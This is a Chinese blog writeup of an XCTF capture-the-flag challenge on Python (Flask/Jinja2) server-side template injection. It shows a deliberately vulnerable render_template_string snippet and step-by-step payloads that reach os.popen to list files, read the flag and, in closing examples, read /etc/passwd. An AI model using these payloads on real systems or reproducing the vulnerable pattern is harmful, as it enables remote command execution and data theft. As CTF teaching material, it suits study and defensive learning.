

# 攻防世界--Web进阶--Web\_python\_template\_injection---python模板注入---writeup

原创

Zhao薰儿  于 2021-10-10 01:14:02 发布  669  收藏 2

分类专栏: [xctf攻防世界Web](#) 文章标签: [html](#) [css](#) [python](#) [web安全](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/z2560088/article/details/120681706>

版权



[xctf攻防世界Web 专栏收录该内容](#)

6 篇文章 0 订阅

订阅专栏

- 首先看到题目, 就知道这道题是关于 **模板注入** 的, 什么是模板注入呢? - 为了写 html 代码的时候方便, 很多网站都会使用模板, 先写好一个 html 模板文件,

比如:

```
```python
def test():
code = request.args.get('id')
html = '''
    <h3>%s</h3>

''%(code)
return render_template_string(html)
```
```

这段代码中的 `html` 就是一个简单的模板文件, 当开发者想要这个模板对应的样式时, 可以直接用 `render\_template\_string` 方法来调用这个模板, 从而直接把这个样式渲染出来。而模板注入, 就是指 **将一串指令代替变量传入模板中让它执行**。

以这段代码为例, 我们在传入 `code` 值时, 可以用 `{}` 符号来包裹一系列代码, 以此替代本应是参数的

```
`id` : ``` http://.../?id={{代码}} ```
```

- 知道了什么是模板文件, 接下来开始模板注入环节:

首先, 先测试一下是不是确实能注入, 构造一个简单的测试 url: `http://111.198.29.45:46675/{7\*7}`

服务器回传: `URL http://111.198.29.45:46675/49 not found` /49` 的存在说明 `7\*7` 这条指令被忠实地执行了。

- `__class__` : 返回对象所属的类

`__mro__` : 返回一个类所继承的基类元组, 方法在解析时按照元组的 顺序解析。

`__base__` : 返回该类所继承的基类

// `__base__` 和 `__mro__` 都是用来寻找基类的

`__subclasses__` : 每个新类都保留了子类的引用, 这个方法返回一个 类中仍然可用的的引用的列表

`__init__` : 类的初始化方法

`__globals__` : 对包含函数全局变量的字典的引用

```
{{[].__class__.__base__.__subclasses__()}}
```

返回该类中仍然可用的的引用的列表

URL `http://111.200.241.244:50945/id=[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable_iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'weakrefset.IterationGuard'>, <class 'weakrefset.WeakSet'>, <class 'abcoll.Hashable'>, <type 'classmethod'>, <class 'abcoll.Iterable'>, <class 'abcoll.Sized'>, <class 'abcoll.Container'>, <class 'abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site.Printer'>, <class 'site.Helper'>, <type 'sre.SRE_Pattern'>, <type`

URL `http://111.200.241.244:50945/id=<class 'site.Printer'> not found`

查看该类下的全局变量的字典

```
{{[].__class__.__base__.__subclasses__()[71].__init__.__globals__()}}
```

```
0x7f5b94867c08>, 'PREFIXES': ['/usr', '/usr'], 'addusersitepackages': <function
addusersitepackages at 0x7f5b94867cf8>, 'os': <module 'os' from
'/usr/lib/python2.7/os.pyc'>} not found
```

CSDN @Zhao蒿儿

用 python 语句获取控制台权限：想到了 `os.system` 和 `os.popen` 前者返回 \*\*退出状态码\*\*，后者 \*\*以 file 形式\*\* 返回 \*\*输出内容\*\*，我们想要的是 内容，所以选择 `os.popen`。

使用os.popen()来获取控制台权限，并以file的形式返回输出内容。

```
{{[[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()]}}
```



**URL http://111.200.241.244:50945/fl4g index.py not found**

CSDN @Zhao蒿儿

再同样的操作，cat fl4g即可

```
{{[[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()]}}
```



**URL http://111.200.241.244:50945/ctf{f22b6844-5169-4054-b2a0-d95b9361cb57} not found**

CSDN @Zhao蒿儿

成功拿到flag

以上 payload 是一个非常常用的 payload，同样常用的还有

```
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
```

和

```
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
```